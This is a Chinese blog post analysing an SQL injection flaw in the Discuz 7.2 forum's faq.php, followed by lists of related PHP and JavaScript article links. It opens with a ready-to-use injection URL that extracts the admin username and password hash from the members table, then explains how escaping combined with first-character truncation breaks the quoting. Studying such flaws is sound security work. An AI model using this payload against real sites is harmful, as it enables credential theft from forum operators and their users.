Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
php.ini中date.timezone设置分析
Jul 29 PHP
PHP中文处理 中文字符串截取(mb_substr)和获取中文字符串字数
Nov 10 PHP
非常好用的两个PHP函数 serialize()和unserialize()
Feb 04 PHP
PHP5权威编程阅读学习笔记 附电子书下载
Jul 05 PHP
PHP 面向对象程序设计(oop)学习笔记(一) - 抽象类、对象接口、instanceof 和契约式编程
Jun 12 PHP
PHP list() 将数组中的值赋给变量的简单实例
Jun 13 PHP
php中实现字符串翻转的方法
Feb 22 PHP
PHP连接MYSQL数据库的3种常用方法
Feb 27 PHP
Laravel框架路由和控制器的绑定操作方法
Jun 12 PHP
laravel 查询数据库获取结果实现判断是否为空
Oct 24 PHP
ThinkPHP 框架实现的读取excel导入数据库操作示例
Apr 14 PHP
深入理解PHP+Mysql分布式事务与解决方案
Dec 03 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
php侧拉菜单 漂亮,可以向右或者向左展开,支持FF,IE
2009/10/15 PHP
php中通过Ajax如何实现异步文件上传的代码实例
2011/05/07 PHP
PHP在特殊字符前加斜杠的实现代码
2011/07/17 PHP
php利用curl抓取新浪微博内容示例
2014/04/27 PHP
Codeigniter中mkdir创建目录遇到权限问题和解决方法
2014/07/25 PHP
PHP中cookie知识点学习
2018/05/06 PHP
phpStorm+XDebug+chrome 配置详解
2019/04/01 PHP
该如何加载google-analytics(或其他第三方)的JS
2010/05/13 Javascript
利用js 进行输入框自动匹配字符的小例子
2013/06/29 Javascript
JavaScript Ajax Json实现上下级下拉框联动效果实例代码
2013/11/23 Javascript
完美兼容各大浏览器的jQuery仿新浪图文淡入淡出间歇滚动特效
2014/11/12 Javascript
jquery 插件实现瀑布流图片展示实例
2015/04/03 Javascript
JS基于clipBoard.js插件实现剪切、复制、粘贴
2016/05/03 Javascript
详解用vue-cli来搭建vue项目和webpack
2017/04/20 Javascript
node+vue实现用户注册和头像上传的实例代码
2017/07/20 Javascript
通过jquery获取上传文件名称、类型和大小的实现代码
2018/04/19 jQuery
jQuery的ztree仿windows文件新建和拖拽功能的实现代码
2018/12/05 jQuery
原生javascript实现连连看游戏
2019/01/03 Javascript
[51:53]完美世界DOTA2联赛循环赛 LBZS vs DM BO2第二场 11.01
2020/11/02 DOTA
详解Python中for循环的使用
2015/04/14 Python
日本快乐生活方式购物网站:Shop Japan
2018/07/17 全球购物
枚举与#define宏的区别
2014/04/30 面试题
自动化专业职业生涯规划书范文
2014/01/16 职场文书
《一株紫丁香》教学反思
2014/02/19 职场文书
建筑结构施工专业推荐信
2014/02/21 职场文书
预防传染病方案
2014/06/14 职场文书
心理学专业求职信
2014/06/16 职场文书
民事授权委托书范文
2014/08/02 职场文书
委托函范文
2015/01/29 职场文书
幼儿园大班教师个人总结
2015/02/05 职场文书
刑事案件上诉状
2015/05/23 职场文书
车辆安全隐患排查制度
2015/08/05 职场文书
2019最新版劳务派遣管理制度
2019/08/16 职场文书
MySQL索引知识的一些小妙招总结
2021/05/10 MySQL
Python实现拼音转换
2021/06/07 Python
CSS Transition通过改变Height实现展开收起元素
2021/08/07 HTML / CSS